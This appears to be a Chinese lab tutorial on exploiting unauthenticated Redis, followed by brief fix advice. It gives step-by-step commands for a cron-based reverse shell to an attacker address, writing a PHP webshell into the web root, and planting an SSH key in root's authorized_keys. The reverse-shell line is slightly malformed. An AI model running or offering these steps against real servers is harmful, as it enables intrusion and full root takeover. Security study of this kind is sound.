Redis介绍
redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。
Redis 是一个高性能的key-value数据库。
漏洞简述
Redis中存在未授权访问漏洞,该漏洞源于程序在默认配置下会绑定在6379端口,这导致其直接暴露在公网中,可以接受来自任何地址发来的请求。当程序没有开启认证选项端口对外开放时,攻击者可借助目标服务器访问权限利用该漏洞未授权访问Redis并读取Redis的数据,在服务器上写入公钥,进而使用对应的私钥直接登录目标服务器。
安装Redis
下载redis安装包
下载地址
这里我是用的Redis 4.0.0
tar -zxvf redis-4.0.0.tar.gz #解压redis压缩包
cd redis-4.0.0 #切换到目录
make #编译安装
#安装过程中可能会报错
#安装gcc等插件,依据报错情况下载插件 yum install gcc/apt-get install gcc
cp redis.conf ./scr/redis.conf #复制redis.conf文件到src
修改配置文件
vim redis.conf
#bind 127.0.0.1
bind 192.168.220.129 #redis服务器所在地址
protected-mode no #将yes改为no这里
启动redis服务
./redis-server ../src/redis.conf
任务计划反弹shell
攻击机监听端口
netcat -lvp 5555
攻击机连接redis服务器
redis-cli -h 192.168.220.129
将shell写入redis,设置以下参数。
set test "\n\n*/1 * * * * /bin/bash/-i&/dev/tcp/192.168.x.x/5555 0>&1\n\n" #设置计划任务为test,写入shell,一分钟后同5555端口反弹shell。
config set dir /var/spool/cron #设置计划任务的工作目录
config set dbfilename root #设置数据库名为root
save #保存
反弹shell
通过redis将webshell写入网站
设置参数
set w "<?php phpinfo(); ?>" #设置文件内容
config set dir /var/www/html/dvwa #写入目录
config set dbfilename p.php #写入文件名称
save
可以看到已经写入
上传马儿成功连接菜刀
利用公私钥获取root权限
在攻击机上生成公钥对
ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt #将公钥id_rsa.pub文件写入test.txt文件
cat test.txt #查看写入的test.txt文件。
将test.txt文件写入redis
cat test.txt | redis-cli -h 192.168.220.129 -x set crack
连接redis设置以下参数,将公钥写入到目录下的/root/.ssh/authorized_keys文件,直接免密连接目标主机。
redis-cli -h 192.168.220.129
config set dir /root/.ssh/ #设置工作目录为/root/.ssh/
config set dbfilename "authorized_keys" #设置db名字
config get dbfilename #查看db名字
config get dir #查看工作目录
save
ssh -i id_rsa root@192.168.220.129 -p 2223
修补建议
修改默认bind 127.0.0.1的地址,修改为仅允许访问的ip地址。
修改默认的6379端口。
配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中。
参考学习文章
https://www.cnblogs.com/bmjoker/p/9548962.html#gallery-24
https://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/